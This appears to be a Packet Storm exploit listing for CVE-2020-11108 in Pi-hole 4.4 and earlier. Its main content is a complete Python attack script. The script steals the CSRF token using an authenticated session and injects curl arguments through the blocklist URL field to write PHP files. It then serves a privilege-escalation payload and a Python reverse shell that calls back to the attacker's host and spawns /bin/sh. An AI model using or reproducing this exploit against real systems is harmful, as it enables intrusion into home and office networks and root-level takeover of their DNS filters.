what you don't know can hurt you

Pi-hole 4.4 Remote Code Execution / Privilege Escalation

Pi-hole 4.4 Remote Code Execution / Privilege Escalation
Posted May 10, 2020
Authored by Nick Frichette

Pi-hole versions 4.4 and below remote code execution and privilege escalation exploit.

tags | exploit, remote, code execution
advisories | CVE-2020-11108
MD5 | 7547e76616cd006f277e52014b317f4d

Pi-hole 4.4 Remote Code Execution / Privilege Escalation

Change Mirror Download
#!/usr/bin/env python3

# Pi-hole <= 4.4 RCE
# Author: Nick Frichette
# Homepage: https://frichetten.com
#
# Note: This exploit must be run with root privileges and port 80 must not be occupied.
# While it is possible to exploit this from a non standard port, for the sake of
# simplicity (and not having to modify the payload) please run it with sudo privileges.
# Or setup socat and route it through there?

import requests
import sys
import socket
import _thread
import time

if len(sys.argv) < 4:
print("[-] Usage: sudo ./cve.py *Session Cookie* *URL of Target* *Your IP* *R Shell Port*")
print("\nThis script will take 5 parameters:\n Session Cookie: The authenticated session token.\n URL of Target: The target's url, example: http://192.168.1.10\n Your IP: The IP address of the listening machine.\n Reverse Shell Port: The listening port for your reverse shell.")
exit()

SESSION = dict(PHPSESSID=sys.argv[1])
TARGET_IP = sys.argv[2]
LOCAL_IP = sys.argv[3]
LOCAL_PORT = sys.argv[4]

# Surpress https verify warnings
# I'm asuming some instances will use self-signed certs
requests.packages.urllib3.disable_warnings()

# Payload taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# I opted to use the Python3 reverse shell one liner over the full PHP reverse shell.
shell_payload = """<?php
shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")
?>
""" %(LOCAL_IP, LOCAL_PORT)

root_payload = """<?php
shell_exec("sudo pihole -a -t")
?>
"""

def send_response(thread_name):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((LOCAL_IP,int(80)))
sock.listen(5)

connected = False
while not connected:
conn,addr = sock.accept()
if thread_name == "T1":
print("[+] Received First Callback")
conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")
elif thread_name == "T2":
print("[+] Received Second Callback")
print("[+] Uploading Root Payload")
conn.sendall(bytes(root_payload, "utf-8"))
elif thread_name == "T3":
print("[+] Received Third Callback")
conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")
else:
print("[+] Received Fourth Callback")
print("[+] Uploading Shell Payload")
conn.sendall(bytes(shell_payload, "utf-8"))
conn.close()
connected = True

sock.close()

_thread.start_new_thread(send_response,("T1",))


# Fetch token
resp = requests.get(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, verify=False)
response = str(resp.content)
token_loc = response.find("name=\"token\"")
token = response[token_loc+20:token_loc+64]


# Make request with token
data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o fun.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}
resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)
if resp.status_code == 200:
print("[+] Put Root Stager Success")


# Update gravity
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(3)
_thread.start_new_thread(send_response,("T2",))


# Update again to trigger upload of root redirect
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(1)
_thread.start_new_thread(send_response,("T3",))

data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o teleporter.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}
resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)
if resp.status_code == 200:
print("[+] Put Shell Stager Success")

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(1)
_thread.start_new_thread(send_response,("T4",))

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)


print("[+] Triggering Exploit")
try:
requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/fun.php", cookies=SESSION, timeout=3, verify=False)
except:
# We should be silent to avoid filling the cli window
None
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close